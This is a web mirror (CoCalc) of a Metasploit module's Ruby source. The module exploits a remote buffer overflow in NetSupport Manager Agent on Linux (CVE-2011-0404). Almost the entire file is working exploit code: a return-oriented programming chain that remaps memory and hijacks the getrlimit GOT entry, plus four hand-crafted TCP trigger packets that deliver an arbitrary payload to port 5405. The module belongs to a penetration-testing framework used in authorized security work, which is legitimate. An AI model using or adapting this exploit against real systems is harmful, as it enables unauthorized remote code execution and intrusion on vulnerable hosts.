CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/netsupport_manager_agent.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'NetSupport Manager Agent Remote Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in NetSupport Manager Agent. It
16
uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack.
17
},
18
'Author' =>
19
[
20
'Luca Carettoni (@_ikki)', # original discovery / exploit
21
'Evan', # ported from exploit-db exploit
22
'jduck' # original proftpd_iac ROP, minor cleanups
23
],
24
'Arch' => ARCH_X86,
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'CVE', '2011-0404' ],
29
[ 'OSVDB', '70408' ],
30
[ 'BID', '45728' ],
31
[ 'URL', 'https://seclists.org/fulldisclosure/2011/Jan/90' ],
32
[ 'EDB', '15937' ]
33
],
34
'Privileged' => true,
35
'Platform' => 'linux',
36
'Payload' =>
37
{
38
'Space' => 0x975,
39
'BadChars' => "",
40
'DisableNops' => true,
41
},
42
'Targets' =>
43
[
44
[ 'linux',
45
{
46
'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;;
47
'Pad' => 975,
48
'RopStack' =>
49
[
50
### mmap isn't used in the binary so we need to resolve it in libc
51
0x00041160, # mmap64 - localtime
52
0xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect
53
0xcccccccc,
54
0x08084662, # add DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;;
55
0xcccccccc,
56
0xcccccccc,
57
0x080541e4, # localtime@plt (now mmap64)
58
0x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;;
59
0, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments
60
0x0, # unused
61
0x08066332, # pop edx; pop ebx; pop ebp ;;
62
"\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx
63
0xcccccccc,
64
0xcccccccc,
65
0x080555c4, # mov [eax] edx ; pop ebp ;;
66
0xcccccccc,
67
#0x0807385a, # push eax ; adc al 0x5d ;;
68
69
### this is the stub used to copy shellcode from the stack to
70
### the newly mapped executable region
71
#\x8D\xB4\x24\x7D\xFB\xFF # lea esi,[dword esp-0x483]
72
#\x8D\x78\x12 # lea edi,[eax+0x12]
73
#\x6A\x7F # push byte +0x7f
74
#\x59 # pop ecx
75
#\xF3\xA5 # rep movsd
76
77
### there are no good jmp eax so overwrite getrlimits GOT entry
78
0x0805591b, # pop ebx; pop ebp ;;
79
0x08092d68 - 0x4, # 08092d68 0002f007 R_386_JUMP_SLOT 00000000 getrlimit
80
0x1, # becomes ebp
81
0x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;;
82
0xfb7c24b4, # become eb
83
0x01,
84
0x08054ac4, # <getrlimit@plt>
85
0x0805591b, # pop ebx; pop ebp ;;
86
#0xffff8d78, # become ebx
87
0x788dffff,
88
0x2,
89
0x08054ac4, # <getrlimit@plt>
90
0x0805591b, # pop ebx; pop ebp ;;
91
0x597f6a12,
92
0x3,
93
0x08054ac4, # <getrlimit@plt>
94
0x0805591b, # pop ebx; pop ebp ;;
95
0x9090a5f2,
96
0x4,
97
0x08054ac4, # <getrlimit@plt>
98
0x0805591b, # pop ebx; pop ebp ;;
99
0x8d909090,
100
0x0,
101
0x08054ac4, # <getrlimit@plt>
102
0xcccccccc,
103
0x01010101,
104
]
105
}
106
]
107
],
108
'DisclosureDate' => '2011-01-08',
109
'DefaultTarget' => 0))
110
111
register_options(
112
[
113
Opt::RPORT(5405),
114
])
115
end
116
117
def exploit
118
connect
119
120
#pop_eax_ebx ;
121
#0x8084662 # add DWORD PTR [ebx+0x5e5b1cc4],eax ;;
122
triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" +
123
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
124
125
triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" +
126
"\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
127
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
128
"\x00\x00\x00"
129
130
triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" +
131
"\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" +
132
"\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + #pleasure trail
133
#"\xcc" +
134
"\x90" +
135
payload.encoded +
136
"\xcc" * (target['Pad'] - payload.encoded.length) +
137
[target.ret].pack('V')
138
139
new = ''
140
if target['RopStack']
141
new << target['RopStack'].map { |e|
142
if e == 0xcccccccc
143
rand_text(4).unpack('V').first
144
else
145
e
146
end
147
}.pack('V*')
148
end
149
150
triggerC << new
151
triggerC << "\x00" * 4
152
triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"
153
triggerC << "\x30\x00\x31\x30\x00\x00"
154
155
triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" +
156
"\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" +
157
"\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" +
158
"\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00"
159
160
print_status("Sending A")
161
sock.put(triggerA)
162
select(nil, nil, nil, 1)
163
164
print_status("Sending B")
165
sock.put(triggerB)
166
select(nil, nil, nil, 1)
167
168
print_status("Sending C")
169
sock.put(triggerC)
170
select(nil, nil, nil, 1)
171
172
print_status("Sending D")
173
sock.put(triggerD)
174
select(nil, nil, nil, 1)
175
176
disconnect
177
end
178
end
179
180